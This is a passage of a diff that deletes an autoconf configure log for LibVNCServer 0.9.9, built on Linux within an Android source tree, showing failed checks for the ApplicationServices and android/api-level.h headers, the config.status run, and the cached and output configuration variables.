-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| #define HAVE_FORK 1
-| #define HAVE_VFORK 1
-| #define HAVE_WORKING_VFORK 1
-| #define HAVE_WORKING_FORK 1
-| #define HAVE_LIBNSL 1
-| #define HAVE_FTIME 1
-| #define HAVE_GETHOSTBYNAME 1
-| #define HAVE_GETHOSTNAME 1
-| #define HAVE_GETTIMEOFDAY 1
-| #define HAVE_INET_NTOA 1
-| #define HAVE_MEMMOVE 1
-| #define HAVE_MEMSET 1
-| #define HAVE_MMAP 1
-| #define HAVE_MKFIFO 1
-| #define HAVE_SELECT 1
-| #define HAVE_SOCKET 1
-| #define HAVE_STRCHR 1
-| #define HAVE_STRCSPN 1
-| #define HAVE_STRDUP 1
-| #define HAVE_STRERROR 1
-| #define HAVE_STRSTR 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| #include <ApplicationServices/ApplicationServices.h>
-configure:24808: result: no
-configure:24808: checking ApplicationServices/ApplicationServices.h presence
-configure:24808: gcc -E conftest.c
-conftest.c:71:53: fatal error: ApplicationServices/ApplicationServices.h: No such file or directory
-compilation terminated.
-configure:24808: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| #define HAVE_FORK 1
-| #define HAVE_VFORK 1
-| #define HAVE_WORKING_VFORK 1
-| #define HAVE_WORKING_FORK 1
-| #define HAVE_LIBNSL 1
-| #define HAVE_FTIME 1
-| #define HAVE_GETHOSTBYNAME 1
-| #define HAVE_GETHOSTNAME 1
-| #define HAVE_GETTIMEOFDAY 1
-| #define HAVE_INET_NTOA 1
-| #define HAVE_MEMMOVE 1
-| #define HAVE_MEMSET 1
-| #define HAVE_MMAP 1
-| #define HAVE_MKFIFO 1
-| #define HAVE_SELECT 1
-| #define HAVE_SOCKET 1
-| #define HAVE_STRCHR 1
-| #define HAVE_STRCSPN 1
-| #define HAVE_STRDUP 1
-| #define HAVE_STRERROR 1
-| #define HAVE_STRSTR 1
-| /* end confdefs.h. */
-| #include <ApplicationServices/ApplicationServices.h>
-configure:24808: result: no
-configure:24808: checking for ApplicationServices/ApplicationServices.h
-configure:24808: result: no
-configure:24824: checking android/api-level.h usability
-configure:24824: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c:104:31: fatal error: android/api-level.h: No such file or directory
-compilation terminated.
-configure:24824: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| #define HAVE_FORK 1
-| #define HAVE_VFORK 1
-| #define HAVE_WORKING_VFORK 1
-| #define HAVE_WORKING_FORK 1
-| #define HAVE_LIBNSL 1
-| #define HAVE_FTIME 1
-| #define HAVE_GETHOSTBYNAME 1
-| #define HAVE_GETHOSTNAME 1
-| #define HAVE_GETTIMEOFDAY 1
-| #define HAVE_INET_NTOA 1
-| #define HAVE_MEMMOVE 1
-| #define HAVE_MEMSET 1
-| #define HAVE_MMAP 1
-| #define HAVE_MKFIFO 1
-| #define HAVE_SELECT 1
-| #define HAVE_SOCKET 1
-| #define HAVE_STRCHR 1
-| #define HAVE_STRCSPN 1
-| #define HAVE_STRDUP 1
-| #define HAVE_STRERROR 1
-| #define HAVE_STRSTR 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| #include <android/api-level.h>
-configure:24824: result: no
-configure:24824: checking android/api-level.h presence
-configure:24824: gcc -E conftest.c
-conftest.c:71:31: fatal error: android/api-level.h: No such file or directory
-compilation terminated.
-configure:24824: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| #define HAVE_FORK 1
-| #define HAVE_VFORK 1
-| #define HAVE_WORKING_VFORK 1
-| #define HAVE_WORKING_FORK 1
-| #define HAVE_LIBNSL 1
-| #define HAVE_FTIME 1
-| #define HAVE_GETHOSTBYNAME 1
-| #define HAVE_GETHOSTNAME 1
-| #define HAVE_GETTIMEOFDAY 1
-| #define HAVE_INET_NTOA 1
-| #define HAVE_MEMMOVE 1
-| #define HAVE_MEMSET 1
-| #define HAVE_MMAP 1
-| #define HAVE_MKFIFO 1
-| #define HAVE_SELECT 1
-| #define HAVE_SOCKET 1
-| #define HAVE_STRCHR 1
-| #define HAVE_STRCSPN 1
-| #define HAVE_STRDUP 1
-| #define HAVE_STRERROR 1
-| #define HAVE_STRSTR 1
-| /* end confdefs.h. */
-| #include <android/api-level.h>
-configure:24824: result: no
-configure:24824: checking for android/api-level.h
-configure:24824: result: no
-configure:25139: creating ./config.status
-
-## ---------------------- ##
-## Running config.status. ##
-## ---------------------- ##
-
-This file was extended by LibVNCServer config.status 0.9.9, which was
-generated by GNU Autoconf 2.69. Invocation command line was
-
- CONFIG_FILES =
- CONFIG_HEADERS =
- CONFIG_LINKS =
- CONFIG_COMMANDS =
- $ ./config.status
-
-on android-dev
-
-config.status:1019: creating Makefile
-config.status:1019: creating libvncserver.pc
-config.status:1019: creating libvncclient.pc
-config.status:1019: creating libvncserver/Makefile
-config.status:1019: creating examples/Makefile
-config.status:1019: creating examples/android/Makefile
-config.status:1019: creating vncterm/Makefile
-config.status:1019: creating webclients/Makefile
-config.status:1019: creating webclients/java-applet/Makefile
-config.status:1019: creating webclients/java-applet/ssl/Makefile
-config.status:1019: creating libvncclient/Makefile
-config.status:1019: creating client_examples/Makefile
-config.status:1019: creating test/Makefile
-config.status:1019: creating libvncserver-config
-config.status:1019: creating LibVNCServer.spec
-config.status:1019: creating rfbconfig.h
-config.status:1248: executing rfb/rfbconfig.h commands
-config.status:1286: creating rfb/rfbconfig.h - prefix LIBVNCSERVER for rfbconfig.h defines
-config.status:1248: executing depfiles commands
-config.status:1248: executing chmod-libvncserver-config commands
-configure:26566: WARNING: unrecognized options: --enable-maintainer-mode
-
-## ---------------- ##
-## Cache variables. ##
-## ---------------- ##
-
-ac_cv_build=x86_64-unknown-linux-gnu
-ac_cv_c_bigendian=no
-ac_cv_c_compiler_gnu=yes
-ac_cv_c_const=yes
-ac_cv_c_inline=inline
-ac_cv_cxx_compiler_gnu=yes
-ac_cv_env_CCC_set=
-ac_cv_env_CCC_value=
-ac_cv_env_CC_set=
-ac_cv_env_CC_value=
-ac_cv_env_CFLAGS_set=
-ac_cv_env_CFLAGS_value=
-ac_cv_env_CPPFLAGS_set=
-ac_cv_env_CPPFLAGS_value=
-ac_cv_env_CPP_set=
-ac_cv_env_CPP_value=
-ac_cv_env_CXXCPP_set=
-ac_cv_env_CXXCPP_value=
-ac_cv_env_CXXFLAGS_set=
-ac_cv_env_CXXFLAGS_value=
-ac_cv_env_CXX_set=
-ac_cv_env_CXX_value=
-ac_cv_env_F77_set=
-ac_cv_env_F77_value=
-ac_cv_env_FFLAGS_set=
-ac_cv_env_FFLAGS_value=
-ac_cv_env_GNUTLS_CFLAGS_set=
-ac_cv_env_GNUTLS_CFLAGS_value=
-ac_cv_env_GNUTLS_LIBS_set=
-ac_cv_env_GNUTLS_LIBS_value=
-ac_cv_env_GTK_CFLAGS_set=
-ac_cv_env_GTK_CFLAGS_value=
-ac_cv_env_GTK_LIBS_set=
-ac_cv_env_GTK_LIBS_value=
-ac_cv_env_JPEG_LDFLAGS_set=
-ac_cv_env_JPEG_LDFLAGS_value=
-ac_cv_env_LDFLAGS_set=
-ac_cv_env_LDFLAGS_value=
-ac_cv_env_LIBS_set=
-ac_cv_env_LIBS_value=
-ac_cv_env_PKG_CONFIG_LIBDIR_set=
-ac_cv_env_PKG_CONFIG_LIBDIR_value=
-ac_cv_env_PKG_CONFIG_PATH_set=
-ac_cv_env_PKG_CONFIG_PATH_value=
-ac_cv_env_PKG_CONFIG_set=
-ac_cv_env_PKG_CONFIG_value=
-ac_cv_env_XMKMF_set=
-ac_cv_env_XMKMF_value=
-ac_cv_env_build_alias_set=
-ac_cv_env_build_alias_value=
-ac_cv_env_host_alias_set=
-ac_cv_env_host_alias_value=
-ac_cv_env_target_alias_set=
-ac_cv_env_target_alias_value=
-ac_cv_f77_compiler_gnu=no
-ac_cv_func__doprnt=no
-ac_cv_func_connect=yes
-ac_cv_func_crypt=no
-ac_cv_func_fork=yes
-ac_cv_func_fork_works=yes
-ac_cv_func_ftime=yes
-ac_cv_func_getaddrinfo=yes
-ac_cv_func_gethostbyname=yes
-ac_cv_func_gethostname=yes
-ac_cv_func_gettimeofday=yes
-ac_cv_func_inet_ntoa=yes
-ac_cv_func_lstat_dereferences_slashed_symlink=yes
-ac_cv_func_memcmp_working=yes
-ac_cv_func_memmove=yes
-ac_cv_func_memset=yes
-ac_cv_func_mkfifo=yes
-ac_cv_func_mmap=yes
-ac_cv_func_remove=yes
-ac_cv_func_select=yes
-ac_cv_func_shmat=yes
-ac_cv_func_socket=yes
-ac_cv_func_stat_empty_string_bug=no
-ac_cv_func_strchr=yes
-ac_cv_func_strcspn=yes
-ac_cv_func_strdup=yes
-ac_cv_func_strerror=yes
-ac_cv_func_strftime=yes
-ac_cv_func_strstr=yes
-ac_cv_func_vfork=yes
-ac_cv_func_vfork_works=yes
-ac_cv_func_vprintf=yes
-ac_cv_have_x='have_x=yes ac_x_includes='\'''\'' ac_x_libraries='\'''\'''
-ac_cv_header_ApplicationServices_ApplicationServices_h=no
-ac_cv_header_android_api_level_h=no
-ac_cv_header_arpa_inet_h=yes
-ac_cv_header_dlfcn_h=yes
-ac_cv_header_fcntl_h=yes
-ac_cv_header_inttypes_h=yes
-ac_cv_header_jpeglib_h=yes
-ac_cv_header_memory_h=yes
-ac_cv_header_netdb_h=yes
-ac_cv_header_netinet_in_h=yes
-ac_cv_header_png_h=yes
-ac_cv_header_pthread_h=yes
-ac_cv_header_stdc=yes
-ac_cv_header_stdint=stdint.h
-ac_cv_header_stdint_h=yes
-ac_cv_header_stdint_o=no-file
-ac_cv_header_stdint_test=no
-ac_cv_header_stdint_u=no-file
-ac_cv_header_stdint_x=stdint.h
-ac_cv_header_stdlib_h=yes
-ac_cv_header_string_h=yes
-ac_cv_header_strings_h=yes
-ac_cv_header_sys_socket_h=yes
-ac_cv_header_sys_stat_h=yes
-ac_cv_header_sys_time_h=yes
-ac_cv_header_sys_timeb_h=yes
-ac_cv_header_sys_types_h=yes
-ac_cv_header_sys_wait_h=yes
-ac_cv_header_syslog_h=yes
-ac_cv_header_thenonexistentheader_h=no
-ac_cv_header_time=yes
-ac_cv_header_unistd_h=yes
-ac_cv_header_vfork_h=no
-ac_cv_header_ws2tcpip_h=no
-ac_cv_header_zlib_h=yes
-ac_cv_host=x86_64-unknown-linux-gnu
-ac_cv_lib_ICE_IceConnectionNumber=yes
-ac_cv_lib_X11_XGetImage=yes
-ac_cv_lib_crypt_crypt=yes
-ac_cv_lib_crypto_RAND_file_name=no
-ac_cv_lib_cygipc_shmget=no
-ac_cv_lib_nsl_gethostbyname=yes
-ac_cv_lib_png_png_create_write_struct=yes
-ac_cv_lib_pthread_pthread_mutex_lock=yes
-ac_cv_lib_resolv___b64_ntop=yes
-ac_cv_lib_socket_socket=no
-ac_cv_lib_ssl_SSL_library_init=no
-ac_cv_lib_z_deflate=yes
-ac_cv_objext=o
-ac_cv_path_AR=/usr/bin/ar
-ac_cv_path_EGREP='/bin/grep -E'
-ac_cv_path_GREP=/bin/grep
-ac_cv_path_LIBGCRYPT_CONFIG=no
-ac_cv_path_ac_pt_PKG_CONFIG=/usr/bin/pkg-config
-ac_cv_path_install='/usr/bin/install -c'
-ac_cv_path_mkdir=/bin/mkdir
-ac_cv_prog_AWK=mawk
-ac_cv_prog_CPP='gcc -E'
-ac_cv_prog_CXXCPP='g++ -E'
-ac_cv_prog_ac_ct_AR=ar
-ac_cv_prog_ac_ct_CC=gcc
-ac_cv_prog_ac_ct_CXX=g++
-ac_cv_prog_ac_ct_RANLIB=ranlib
-ac_cv_prog_ac_ct_STRIP=strip
-ac_cv_prog_cc_c89=
-ac_cv_prog_cc_g=yes
-ac_cv_prog_cc_gcc_c_o=yes
-ac_cv_prog_cxx_g=yes
-ac_cv_prog_f77_g=no
-ac_cv_prog_make_make_set=yes
-ac_cv_sizeof_X=::::
-ac_cv_sizeof_x=:
-ac_cv_type_int_fast32_t=yes
-ac_cv_type_int_least32_t=yes
-ac_cv_type_pid_t=yes
-ac_cv_type_size_t=yes
-ac_cv_type_socklen_t=yes
-ac_cv_type_uint64_t=yes
-ac_cv_type_uintptr_t=yes
-am_cv_CC_dependencies_compiler_type=gcc3
-am_cv_CXX_dependencies_compiler_type=gcc3
-am_cv_make_support_nested_variables=yes
-lt_cv_deplibs_check_method=pass_all
-lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_ld_reload_flag=-r
-lt_cv_objdir=.libs
-lt_cv_path_LD=/usr/bin/ld
-lt_cv_path_LDCXX='/usr/bin/ld -m elf_x86_64'
-lt_cv_path_NM='/usr/bin/nm -B'
-lt_cv_path_SED=/bin/sed
-lt_cv_prog_compiler_c_o=yes
-lt_cv_prog_compiler_c_o_CXX=yes
-lt_cv_prog_compiler_rtti_exceptions=no
-lt_cv_prog_gnu_ld=yes
-lt_cv_prog_gnu_ldcxx=yes
-lt_cv_sys_global_symbol_pipe='sed -n -e '\''s/^.*[ ]\([ABCDGIRSTW][ABCDGIRSTW]*\)[ ][ ]*\([_A-Za-z][_A-Za-z0-9]*\)$/\1 \2 \2/p'\'''
-lt_cv_sys_global_symbol_to_c_name_address='sed -n -e '\''s/^: \([^ ]*\) $/ {\"\1\", (lt_ptr) 0},/p'\'' -e '\''s/^[BCDEGRST] \([^ ]*\) \([^ ]*\)$/ {"\2", (lt_ptr) \&\2},/p'\'''
-lt_cv_sys_global_symbol_to_cdecl='sed -n -e '\''s/^. .* \(.*\)$/extern int \1;/p'\'''
-lt_cv_sys_max_cmd_len=32768
-lt_lt_cv_prog_compiler_c_o='"yes"'
-lt_lt_cv_prog_compiler_c_o_CXX='"yes"'
-lt_lt_cv_sys_global_symbol_pipe='"sed -n -e '\''s/^.*[ ]\\([ABCDGIRSTW][ABCDGIRSTW]*\\)[ ][ ]*\\([_A-Za-z][_A-Za-z0-9]*\\)\$/\\1 \\2 \\2/p'\''"'
-lt_lt_cv_sys_global_symbol_to_c_name_address='"sed -n -e '\''s/^: \\([^ ]*\\) \$/ {\\\"\\1\\\", (lt_ptr) 0},/p'\'' -e '\''s/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)\$/ {\"\\2\", (lt_ptr) \\&\\2},/p'\''"'
-lt_lt_cv_sys_global_symbol_to_cdecl='"sed -n -e '\''s/^. .* \\(.*\\)\$/extern int \\1;/p'\''"'
-
-## ----------------- ##
-## Output variables. ##
-## ----------------- ##
-
-ACLOCAL='${SHELL} /data/src/android-master/external/libvncserver/missing --run aclocal-1.11'
-AMDEPBACKSLASH='\'
-AMDEP_FALSE='#'
-AMDEP_TRUE=''
-AMTAR='$${TAR-tar}'
-AM_BACKSLASH='\'
-AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)'
-AM_DEFAULT_VERBOSITY='0'
-AM_V='$(V)'
-ANDROID_FALSE=''
-ANDROID_TRUE='#'
-AR='/usr/bin/ar'
-AS='as'
-AUTOCONF='${SHELL} /data/src/android-master/external/libvncserver/missing --run autoconf'
-AUTOHEADER='${SHELL} /data/src/android-master/external/libvncserver/missing --run autoheader'
-AUTOMAKE='${SHELL} /data/src/android-master/external/libvncserver/missing --run automake-1.11'
-AVAHI_CFLAGS=''
-AVAHI_LIBS=''
-AWK='mawk'
-CC='gcc'
-CCDEPMODE='depmode=gcc3'
-CFLAGS='-g -O2 -Wall '
-CPP='gcc -E'
-CPPFLAGS=''
-CRYPT_LIBS='-lcrypt'
-CXX='g++'
-CXXCPP='g++ -E'
-CXXDEPMODE='depmode=gcc3'
-CXXFLAGS='-g -O2'
-CYGIPC_FALSE=''
-CYGIPC_TRUE='#'
-CYGPATH_W='echo'
-DEFS='-DHAVE_CONFIG_H'
-DEPDIR='.deps'
-DLLTOOL='dlltool'
-ECHO='echo'
-ECHO_C=''
-ECHO_N='-n'
-ECHO_T=''
-EGREP='/bin/grep -E'
-EXEEXT=''
-F77=''
-FFLAGS=''
-GNUTLS_CFLAGS=''
-GNUTLS_LIBS=''
-GREP='/bin/grep'
-GTK_CFLAGS=''
-GTK_LIBS=''
-HAVE_GNUTLS_FALSE=''
-HAVE_GNUTLS_TRUE='#'
-HAVE_LIBGTK_FALSE=''
-HAVE_LIBGTK_TRUE='#'
-HAVE_LIBJPEG_FALSE='#'
-HAVE_LIBJPEG_TRUE=''
-HAVE_LIBPNG_FALSE='#'
-HAVE_LIBPNG_TRUE=''
-HAVE_LIBPTHREAD_FALSE='#'
-HAVE_LIBPTHREAD_TRUE=''
-HAVE_LIBSDL_FALSE=''
-HAVE_LIBSDL_TRUE='#'
-HAVE_LIBSSL_FALSE=''
-HAVE_LIBSSL_TRUE='#'
-HAVE_LIBZ_FALSE='#'
-HAVE_LIBZ_TRUE=''
-HAVE_MP3LAME_FALSE=''
-HAVE_MP3LAME_TRUE='#'
-HAVE_RPM_FALSE=''
-HAVE_RPM_TRUE='#'
-HAVE_SYSTEM_LIBVNCSERVER_FALSE=''
-HAVE_SYSTEM_LIBVNCSERVER_TRUE='#'
-HAVE_X11_FALSE='#'
-HAVE_X11_TRUE=''
-INSTALL_DATA='${INSTALL} -m 644'
-INSTALL_PROGRAM='${INSTALL}'
-INSTALL_SCRIPT='${INSTALL}'
-INSTALL_STRIP_PROGRAM='$(install_sh) -c -s'
-JPEG_LDFLAGS=''
-LDFLAGS=''
-LIBGCRYPT_CFLAGS=''
-LIBGCRYPT_CONFIG='no'
-LIBGCRYPT_LIBS=''
-LIBOBJS=''
-LIBS='-lnsl -lpthread -lz -lpng -ljpeg -lresolv '
-LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-LINUX_FALSE='#'
-LINUX_TRUE=''
-LN_S='ln -s'
-LTLIBOBJS=''
-MAKEINFO='${SHELL} /data/src/android-master/external/libvncserver/missing --run makeinfo'
-MINGW_FALSE=''
-MINGW_TRUE='#'
-MKDIR_P='/bin/mkdir -p'
-OBJDUMP='objdump'
-OBJEXT='o'
-OSX_FALSE=''
-OSX_OPENGL_FALSE=''
-OSX_OPENGL_TRUE='#'
-OSX_TRUE='#'
-PACKAGE='LibVNCServer'
-PACKAGE_BUGREPORT='http://sourceforge.net/projects/libvncserver'
-PACKAGE_NAME='LibVNCServer'
-PACKAGE_STRING='LibVNCServer 0.9.9'
-PACKAGE_TARNAME='libvncserver'
-PACKAGE_URL=''
-PACKAGE_VERSION='0.9.9'
-PATH_SEPARATOR=':'
-PKG_CONFIG='/usr/bin/pkg-config'
-PKG_CONFIG_LIBDIR=''
-PKG_CONFIG_PATH=''
-RANLIB='ranlib'
-RPMSOURCEDIR='NOT-FOUND'
-SDL_CFLAGS=''
-SDL_LIBS=''
-SET_MAKE=''
-SHELL='/bin/bash'
-SSL_LIBS=''
-STRIP='strip'
-SYSTEM_LIBVNCSERVER_CFLAGS=''
-SYSTEM_LIBVNCSERVER_LIBS=''
-VERSION='0.9.9'
-WITH_FFMPEG_FALSE=''
-WITH_FFMPEG_TRUE='#'
-WITH_TIGHTVNC_FILETRANSFER_FALSE='#'
-WITH_TIGHTVNC_FILETRANSFER_TRUE=''
-WITH_WEBSOCKETS_FALSE='#'
-WITH_WEBSOCKETS_TRUE=''
-WITH_X11VNC_FALSE=''
-WITH_X11VNC_TRUE='#'
-WSOCKLIB=''
-XMKMF=''
-X_CFLAGS=''
-X_EXTRA_LIBS=''
-X_LIBS=''
-X_PRE_LIBS=' -lSM -lICE'
-ac_ct_CC='gcc'
-ac_ct_CXX='g++'
-ac_ct_F77=''
-am__EXEEXT_FALSE=''
-am__EXEEXT_TRUE='#'
-am__fastdepCC_FALSE='#'
-am__fastdepCC_TRUE=''
-am__fastdepCXX_FALSE='#'
-am__fastdepCXX_TRUE=''
-am__include='include'
-am__isrc=''
-am__leading_dot='.'
-am__nodep='_no'
-am__quote=''
-am__tar='$${TAR-tar} chof - "$$tardir"'
-am__untar='$${TAR-tar} xf -'
-bindir='${exec_prefix}/bin'
-build='x86_64-unknown-linux-gnu'
-build_alias=''
-build_cpu='x86_64'
-build_os='linux-gnu'
-build_vendor='unknown'
-datadir='${datarootdir}'
-datarootdir='${prefix}/share'
-docdir='${datarootdir}/doc/${PACKAGE_TARNAME}'
-dvidir='${docdir}'
-exec_prefix='${prefix}'
-host='x86_64-unknown-linux-gnu'
-host_alias=''
-host_cpu='x86_64'
-host_os='linux-gnu'
-host_vendor='unknown'
-htmldir='${docdir}'
-includedir='${prefix}/include'
-infodir='${datarootdir}/info'
-install_sh='${SHELL} /data/src/android-master/external/libvncserver/install-sh'
-libdir='${exec_prefix}/lib'
-libexecdir='${exec_prefix}/libexec'
